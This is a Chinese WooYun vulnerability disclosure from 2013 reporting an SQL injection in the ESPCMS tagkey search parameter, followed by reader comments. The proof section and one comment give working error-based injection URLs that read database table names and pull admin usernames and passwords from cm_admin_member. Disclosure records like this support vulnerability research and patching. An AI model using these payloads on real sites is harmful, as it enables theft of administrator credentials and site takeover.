Espcms的注入漏洞

漏洞概要

缺陷编号:WooYun-2013-019995

漏洞标题:Espcms的注入漏洞

相关厂商:知名嘉兴网络公司

漏洞作者:TT向上

提交时间:2013-03-13 10:58

公开时间:2013-03-13 10:59

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

Tags标签:

漏洞详情

披露状态:

2013-03-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-03-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

espcms注入漏洞,可已得到用户名密码等信息。

详细说明:

漏洞证明:

构造**.**.**.**/index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,table_name,0x27,0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

构造**.**.**.**/index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,username,0x27,password)) from cm_admin_member limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

修复方案:

打补丁。

漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

评价

  1. 2010-01-01 00:00 乌帽子 白帽子 | Rank:28 漏洞数:2)

    [img src="http://www.secevery.com/upload/image/201303/2013031409452246529.jpg"/]我测试的方式不对?

  2. 2010-01-01 00:00 her0ma 白帽子 | Rank:586 漏洞数:58)

    搜到一篇红黑的

    http://www.2cto.com/Article/201111/112590.html

    应该是同一个漏洞吧?

    不知道是这个漏洞还存在 还是重复提交呢?

  3. 2010-01-01 00:00 TT向上 白帽子 | Rank:0 漏洞数:1)

    @her0ma 是一个漏洞,而且现在还有

  4. 2010-01-01 00:00 TT向上 白帽子 Rank:0 漏洞数:1)

    @乌帽子 是直接在网址后面加/index.php?ac=search&at=taglist&tagkey=%2527,tags) or(select 1 from(select count(*),concat((selectselect concat(0x7e,0x27,table_name,0x27,0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 是espcms系统的才行

  5. 2010-01-01 00:00 http://www.wooyun.org/corps/易思ESPCMS企业网站管理系统 白帽子 | Rank:0 漏洞数:0)

    此问题官方有修复包,请尽快修复呀。